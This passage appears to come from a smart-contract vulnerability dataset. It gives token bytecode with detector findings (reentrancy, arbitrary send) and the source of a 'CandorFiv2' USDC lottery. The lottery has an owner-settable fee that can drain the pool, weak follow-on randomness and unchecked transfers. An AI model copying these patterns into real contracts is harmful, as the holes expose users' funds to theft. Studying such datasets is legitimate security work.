0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf914610467578063d94160e01461047c578063dd62ed3e146104ac578063f4293890146104f257600080fd5b8063b515566a14610407578063c024666814610427578063c0a904a21461044757600080fd5b8063715018a61461037457806381bfdcca1461038957806389f425e7146103a95780638da5cb5b146103c957806395d89b41146101ba578063a9059cbb146103e757600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102e45780635932ead114610314578063677daa571461033457806370a082311461035457600080fd5b8063313ce5671461027b57806349bd5a5e1461029757806351bc3c85146102cf57600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101ed57806318160ddd1461021d57806323b872dd14610239578063273123b71461025957600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b506040805180820182526004815263139154d560e21b602082015290516101b19190611ccd565b3480156101f957600080fd5b5061020d610208366004611b5e565b610507565b60405190151581526020016101b1565b34801561022957600080fd5b50683635c9adc5dea000006101a7565b34801561024557600080fd5b5061020d610254366004611af1565b61051e565b34801561026557600080fd5b50610279610274366004611a81565b610587565b005b34801561028757600080fd5b50604051600981526020016101b1565b3480156102a357600080fd5b506011546102b7906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102db57600080fd5b506102796105db565b3480156102f057600080fd5b5061020d6102ff366004611a81565b60056020526000908152604090205460ff1681565b34801561032057600080fd5b5061027961032f366004611c50565b610614565b34801561034057600080fd5b5061027961034f366004611c88565b61065c565b34801561036057600080fd5b506101a761036f366004611a81565b61068b565b34801561038057600080fd5b506102796106ad565b34801561039557600080fd5b506102796103a4366004611c88565b610721565b3480156103b557600080fd5b506102796103c4366004611c88565b610750565b3480156103d557600080fd5b506000546001600160a01b03166102b7565b3480156103f357600080fd5b5061020d610402366004611b5e565b61077f565b34801561041357600080fd5b50610279610422366004611b89565b61078c565b34801561043357600080fd5b50610279610442366004611b31565b610830565b34801561045357600080fd5b50610279610462366004611b31565b610885565b34801561047357600080fd5b506102796108da565b34801561048857600080fd5b5061020d610497366004611a81565b60066020526000908152604090205460ff1681565b3480156104b857600080fd5b506101a76104c7366004611ab9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104fe57600080fd5b50610279610cc5565b6000610514338484610cef565b5060015b92915050565b600061052b848484610e13565b61057d843361057885604051806060016040528060288152602001611e9e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611259565b610cef565b5060019392505050565b6000546001600160a01b031633146105ba5760405162461bcd60e51b81526004016105b190611d20565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b0316146105fb57600080fd5b60006106063061068b565b905061061181611293565b50565b6000546001600160a01b0316331461063e5760405162461bcd60e51b81526004016105b190611d20565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106865760405162461bcd60e51b81526004016105b190611d20565b601255565b6001600160a01b03811660009081526002602052604081205461051890611438565b6000546001600160a01b031633146106d75760405162461bcd60e51b81526004016105b190611d20565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461074b5760405162461bcd60e51b81526004016105b190611d20565b601355565b6000546001600160a01b0316331461077a5760405162461bcd60e51b81526004016105b190611d20565b600b55565b6000610514338484610e13565b6000546001600160a01b031633146107b65760405162461bcd60e51b81526004016105b190611d20565b60005b815181101561082c576001600760008484815181106107e857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061082481611e33565b9150506107b9565b5050565b6000546001600160a01b0316331461085a5760405162461bcd60e51b81526004016105b190611d20565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108af5760405162461bcd60e51b81526004016105b190611d20565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109045760405162461bcd60e51b81526004016105b190611d20565b601154600160a01b900460ff161561095e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b1565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561099b3082683635c9adc5dea00000610cef565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109d457600080fd5b505afa1580156109e8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0c9190611a9d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a5457600080fd5b505afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611a9d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610ad457600080fd5b505af1158015610ae8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0c9190611a9d565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610b708161068b565b600080610b856000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610be857600080fd5b505af1158015610bfc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c219190611ca0565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c8d57600080fd5b505af1158015610ca1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082c9190611c6c565b600e546001600160a01b0316336001600160a01b031614610ce557600080fd5b47610611816114bc565b6001600160a01b038316610d515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b1565b6001600160a01b038216610db25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b1565b6001600160a01b038216610ed95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b1565b80610ee38461068b565b1015610f405760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105b1565b6000546001600160a01b03848116911614801590610f6c57506000546001600160a01b03838116911614155b15611249576001600160a01b03831660009081526007602052604090205460ff16158015610fb357506001600160a01b03821660009081526007602052604090205460ff16155b610fbc57600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061101557506011546001600160a01b03848116911614801561101557506001600160a01b03821660009081526006602052604090205460ff16155b15611082576012548111156110825760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105b1565b6001600160a01b03821660009081526006602052604090205460ff1661111b57601354816110af8461068b565b6110b99190611dc5565b111561111b5760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105b1565b6011546001600160a01b03848116911614801561114657506010546001600160a01b03838116911614155b801561116b57506001600160a01b03821660009081526005602052604090205460ff16155b80156111805750601154600160b81b900460ff165b156111ce576001600160a01b03821660009081526008602052604090205442116111a957600080fd5b6111b442603c611dc5565b6001600160a01b0383166000908152600860205260409020555b60006111d93061068b565b601154909150600160a81b900460ff1615801561120457506011546001600160a01b03858116911614155b80156112195750601154600160b01b900460ff165b80156112275750600b548110155b156112475761123581611293565b47801561124557611245476114bc565b505b505b611254838383611541565b505050565b6000818484111561127d5760405162461bcd60e51b81526004016105b19190611ccd565b50600061128a8486611e1c565b95945050505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112e957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561133d57600080fd5b505afa158015611351573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113759190611a9d565b8160018151811061139657634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113bc9130911684610cef565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f5908590600090869030904290600401611d55565b600060405180830381600087803b15801561140f57600080fd5b505af1158015611423573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b600060095482111561149f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105b1565b60006114a961154c565b90506114b5838261156f565b9392505050565b600e546001600160a01b03166108fc6114d683600261156f565b6040518115909202916000818181858888f193505050501580156114fe573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61151983600261156f565b6040518115909202916000818181858888f1935050505015801561082c573d6000803e3d6000fd5b6112548383836115b1565b6000806000611559611771565b9092509050611568828261156f565b9250505090565b60006114b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b3565b6000806000806000806115c3876117e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115f5908761183e565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061164057506001600160a01b03881660009081526005602052604090205460ff165b156116c9576001600160a01b0388166000908152600260205260409020546116689087611880565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116bc908b815260200190565b60405180910390a3611766565b6001600160a01b0388166000908152600260205260409020546116ec9086611880565b6001600160a01b03891660009081526002602052604090205561170e816118df565b6117188483611929565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175d91815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea0000061178d828261156f565b8210156117aa57505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836117d45760405162461bcd60e51b81526004016105b19190611ccd565b50600061128a8486611ddd565b60008060008060008060008060006117fe8a600c54600d5461194d565b925092509250600061180e61154c565b905060008060006118218e8787876119a2565b919e509c509a509598509396509194505050505091939550919395565b60006114b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611259565b60008061188d8385611dc5565b9050838110156114b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b1565b60006118e961154c565b905060006118f783836119f2565b306000908152600260205260409020549091506119149082611880565b30600090815260026020526040902055505050565b600954611936908361183e565b600955600a546119469082611880565b600a555050565b6000808080611967606461196189896119f2565b9061156f565b9050600061197a60646119618a896119f2565b905060006119928261198c8b8661183e565b9061183e565b9992985090965090945050505050565b60008080806119b188866119f2565b905060006119bf88876119f2565b905060006119cd88886119f2565b905060006119df8261198c868661183e565b939b939a50919850919650505050505050565b600082611a0157506000610518565b6000611a0d8385611dfd565b905082611a1a8583611ddd565b146114b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b1565b8035611a7c81611e7a565b919050565b600060208284031215611a92578081fd5b81356114b581611e7a565b600060208284031215611aae578081fd5b81516114b581611e7a565b60008060408385031215611acb578081fd5b8235611ad681611e7a565b91506020830135611ae681611e7a565b809150509250929050565b600080600060608486031215611b05578081fd5b8335611b1081611e7a565b92506020840135611b2081611e7a565b929592945050506040919091013590565b60008060408385031215611b43578182fd5b8235611b4e81611e7a565b91506020830135611ae681611e8f565b60008060408385031215611b70578182fd5b8235611b7b81611e7a565b946020939093013593505050565b60006020808385031215611b9b578182fd5b823567ffffffffffffffff80821115611bb2578384fd5b818501915085601f830112611bc5578384fd5b813581811115611bd757611bd7611e64565b8060051b604051601f19603f83011681018181108582111715611bfc57611bfc611e64565b604052828152858101935084860182860187018a1015611c1a578788fd5b8795505b83861015611c4357611c2f81611a71565b855260019590950194938601938601611c1e565b5098975050505050505050565b600060208284031215611c61578081fd5b81356114b581611e8f565b600060208284031215611c7d578081fd5b81516114b581611e8f565b600060208284031215611c99578081fd5b5035919050565b600080600060608486031215611cb4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611cf957858101830151858201604001528201611cdd565b81811115611d0a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611da45784516001600160a01b031683529383019391830191600101611d7f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dd857611dd8611e4e565b500190565b600082611df857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e1757611e17611e4e565b500290565b600082821015611e2e57611e2e611e4e565b500390565b6000600019821415611e4757611e47611e4e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461061157600080fd5b801515811461061157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cdeacbf42154317c077ff096fdb95f771ae363d9edee055242c3e31c058bb36464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,173 |
0x4b0e6734dc69c7d6ebe1f32e30285306620074dc
|
/**
*Submitted for verification at Etherscan.io on 2021-02-10
*/
pragma solidity ^0.6.9;
//SPDX-License-Identifier: UNLICENSED
library SafeMathChainlink {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
contract VRFRequestIDBase {
function makeVRFInputSeed(bytes32 _keyHash, uint256 _userSeed,
address _requester, uint256 _nonce)
internal pure returns (uint256)
{
return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce)));
}
function makeRequestId(
bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed));
}
}
abstract contract VRFConsumerBase is VRFRequestIDBase {
using SafeMathChainlink for uint256;
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal virtual;
function requestRandomness(bytes32 _keyHash, uint256 _fee, uint256 _seed)
internal returns (bytes32 requestId)
{
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, _seed));
uint256 vRFSeed = makeVRFInputSeed(_keyHash, _seed, address(this), nonces[_keyHash]);
nonces[_keyHash] = nonces[_keyHash].add(1);
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface immutable internal LINK;
address immutable private vrfCoordinator;
mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces;
constructor(address _vrfCoordinator, address _link) public {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external {
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CandorFiv2 is VRFConsumerBase{
uint[] private entryArray;
address[] public userAddresses;
address public owner;
uint public totalEntry;
uint public round;
address[] public winners;
uint[] public winningNumbers;
uint public ticketPrice = 10 * 1e6; // 10$ ticket price (6 decimals)
uint public poolLimit = 20000 * 1e6; // 20000$ pool limit
uint public adminFee = 50; // 50% admin fee
uint[10] public rewardArray = [250,100,50,30,20,10,10,10,10,10]; // Change here (Prize % with an additional 0)
IERC20 public token;
bytes32 internal keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
uint internal fee;
uint public randomResult;
uint public oldRandomResult;
struct User{
bool isEntered;
uint totalEntries;
bool isPicked;
}
modifier onlyOwner{
require(msg.sender == owner,"Only owner allowed");
_;
}
mapping(uint => address) public entryMapping;
mapping(uint => mapping(address => User)) public userInfo;
event RandomNumberGenerated(bytes32,uint256);
event EntryComplete(address,uint,uint);
event WinnerPicked(address[],uint[]);
function setTicketPrice(uint value) external onlyOwner{
ticketPrice = value;
}
function setPoolLimit(uint value) external onlyOwner{
poolLimit = value;
}
function setAdminFee(uint value) external onlyOwner{
adminFee = value;
}
function withdrawLink(uint value) external onlyOwner {
require(LINK.transfer(msg.sender, value), "Unable to transfer");
}
function transferOwnership(address newOwner) external onlyOwner{
owner = newOwner;
}
//Mainnet network
constructor() VRFConsumerBase (
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, //VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA //LINK token
) public {
fee = 2000000000000000000; // 2 LINK
owner = msg.sender;
token = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC contract address
}
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
randomResult = randomness;
emit RandomNumberGenerated(requestId,randomResult);
}
function getRandomNumber() public onlyOwner returns (bytes32 requestId) {
require(LINK.balanceOf(address(this)) > fee, "Not enough LINK - fill contract with faucet");
winners = new address[](0);
winningNumbers = new uint[](0);
return requestRandomness(keyHash, fee, getSeed());
}
function enterLottery(uint256 amount) external {
require(amount >= ticketPrice && amount <= (poolLimit / 10),"Invalid amount!"); //Change here
require(!userInfo[round][msg.sender].isEntered,"Already entered!");
require(token.allowance(msg.sender,address(this)) >= amount,"Set allowance first!");
bool success = token.transferFrom(msg.sender,address(this),amount);
require(success,"Transfer failed");
require(token.balanceOf(address(this)) <= poolLimit,"Pool already full");
uint ticketCount = amount.div(ticketPrice);
require((totalEntry + ticketCount) <= (poolLimit / ticketPrice),"Buy lower amount of tickets");
userInfo[round][msg.sender].totalEntries = ticketCount;
userInfo[round][msg.sender].isEntered = true;
entryArray.push(totalEntry);
entryMapping[totalEntry] = msg.sender;
totalEntry += ticketCount;
userAddresses.push(msg.sender);
emit EntryComplete(msg.sender,amount,ticketCount);
}
function pickWinner() external onlyOwner{
require(userAddresses.length >= 10,"Atleast 10 participants"); //Change here
require(totalEntry >= 50,"Minimum 50 tickets sold");
require(oldRandomResult != randomResult,"Update random number first!");
uint i;
uint winner;
address wonUser;
uint tempRandom;
uint totalBalance = token.balanceOf(address(this));
token.transfer(owner,(totalBalance * adminFee) / 100);
totalBalance -= (totalBalance * adminFee) / 100;
while(i<10){ //Change here
winner = calculateWinner((randomResult % totalEntry));
wonUser = entryMapping[winner];
winners.push(wonUser);
winningNumbers.push(randomResult % totalEntry);
token.transfer(wonUser,(totalBalance * rewardArray[i]) / 1000);
i++;
tempRandom = uint(keccak256(abi.encodePacked(randomResult, now, i)));
randomResult = tempRandom;
}
emit WinnerPicked(winners,winningNumbers);
oldRandomResult = randomResult;
totalEntry = 0;
entryArray = new uint[](0);
userAddresses = new address[](0);
round++;
}
function getSeed() private view returns(uint) {
return uint(keccak256(abi.encodePacked(block.difficulty, now, userAddresses)));
}
function calculateWinner(uint target) internal view returns(uint){
uint last = entryArray.length;
uint first = 0;
uint mid = 0;
if(target <= entryArray[0]){
return entryArray[0];
}
if(target >= entryArray[last-1]){
return entryArray[last-1];
}
while(first < last){
mid = (first + last) / 2;
if(entryArray[mid] == target){
return entryArray[mid];
}
if(target < entryArray[mid]){
if(mid > 0 && target > entryArray[mid - 1]){
return entryArray[mid - 1];
}
last = mid;
}
else{
if(mid < last - 1 && target < entryArray[mid + 1]){
return entryArray[mid];
}
first = mid + 1;
}
}
return entryArray[mid];
}
function winningChance() public view returns(uint winchance){
return(
(userInfo[round][msg.sender].totalEntries * 100) / totalEntry);
}
function lastRoundInfo() external view returns(address[] memory,uint[] memory){
return (winners,winningNumbers);
}
function transferAnyERC20(address _tokenAddress, address _to, uint _amount) public onlyOwner {
require(_tokenAddress != address(token),"Not USDC");
IERC20(_tokenAddress).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80637a8042bd116100f9578063a2fb117511610097578063dd4e878011610071578063dd4e8780146106f1578063e0a1ca6e1461070f578063f2fde38b1461072d578063fc0c546a14610771576101a9565b8063a2fb11751461065d578063d59baa03146106b5578063dbdff2c1146106d3576101a9565b806393290f0b116100d357806393290f0b1461053b57806393f1a40b1461059357806394985ddd14610607578063a0be06f91461063f576101a9565b80637a8042bd146104ab5780638beb60b6146104d95780638da5cb5b14610507576101a9565b80634e45f095116101665780635b6f547e116101405780635b6f547e146103c35780635d495aea146104315780635e08ea831461043b57806369010e3b1461047d576101a9565b80634e45f0951461030b5780634f23ed961461034d578063502c9bd51461036b576101a9565b80631209b1f6146101ae578063146ca531146101cc57806315981650146101ea5780633f78ad6e146102185780633fd43098146102bf57806342619f66146102ed575b600080fd5b6101b66107a5565b6040518082815260200191505060405180910390f35b6101d46107ab565b6040518082815260200191505060405180910390f35b6102166004803603602081101561020057600080fd5b81019080803590602001909291905050506107b1565b005b61022061087e565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561026757808201518184015260208101905061024c565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156102a957808201518184015260208101905061028e565b5050505090500194505050505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610967565b005b6102f561117e565b6040518082815260200191505060405180910390f35b6103376004803603602081101561032157600080fd5b8101908080359060200190929190505050611184565b6040518082815260200191505060405180910390f35b6103556111a5565b6040518082815260200191505060405180910390f35b6103976004803603602081101561038157600080fd5b81019080803590602001909291905050506111ab565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61042f600480360360608110156103d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e7565b005b610439611420565b005b6104676004803603602081101561045157600080fd5b8101908080359060200190929190505050611c38565b6040518082815260200191505060405180910390f35b6104a96004803603602081101561049357600080fd5b8101908080359060200190929190505050611c50565b005b6104d7600480360360208110156104c157600080fd5b8101908080359060200190929190505050611d1d565b005b610505600480360360208110156104ef57600080fd5b8101908080359060200190929190505050611f21565b005b61050f611fee565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105676004803603602081101561055157600080fd5b8101908080359060200190929190505050612014565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105df600480360360408110156105a957600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612047565b6040518084151581526020018381526020018215158152602001935050505060405180910390f35b61063d6004803603604081101561061d57600080fd5b810190808035906020019092919080359060200190929190505050612098565b005b610647612167565b6040518082815260200191505060405180910390f35b6106896004803603602081101561067357600080fd5b810190808035906020019092919050505061216d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106bd6121a9565b6040518082815260200191505060405180910390f35b6106db6121af565b6040518082815260200191505060405180910390f35b6106f9612466565b6040518082815260200191505060405180910390f35b61071761246c565b6040518082815260200191505060405180910390f35b61076f6004803603602081101561074357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124d7565b005b6107796125de565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60085481565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b606080600660078180548060200260200160405190810160405280929190818152602001828054801561090657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116108bc575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561095857602002820191906000526020600020905b815481526020019060010190808311610944575b50505050509050915091509091565b60085481101580156109855750600a6009548161098057fe5b048111155b6109f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c696420616d6f756e7421000000000000000000000000000000000081525060200191505060405180910390fd5b601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615610acd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416c726561647920656e7465726564210000000000000000000000000000000081525060200191505060405180910390fd5b80601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610b7557600080fd5b505afa158015610b89573d6000803e3d6000fd5b505050506040513d6020811015610b9f57600080fd5b81019080805190602001909291905050501015610c24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f53657420616c6c6f77616e63652066697273742100000000000000000000000081525060200191505060405180910390fd5b6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610cd757600080fd5b505af1158015610ceb573d6000803e3d6000fd5b505050506040513d6020811015610d0157600080fd5b8101908080519060200190929190505050905080610d87576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b600954601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e1357600080fd5b505afa158015610e27573d6000803e3d6000fd5b505050506040513d6020811015610e3d57600080fd5b81019080805190602001909291905050501115610ec2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f506f6f6c20616c72656164792066756c6c00000000000000000000000000000081525060200191505060405180910390fd5b6000610ed96008548461260490919063ffffffff16565b905060085460095481610ee857fe5b0481600454011115610f62576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f427579206c6f77657220616d6f756e74206f66207469636b657473000000000081525060200191505060405180910390fd5b80601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506001601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055506001600454908060018154018082558091505060019003906000526020600020016000909190919091505533601a6000600454815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806004600082825401925050819055506002339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffff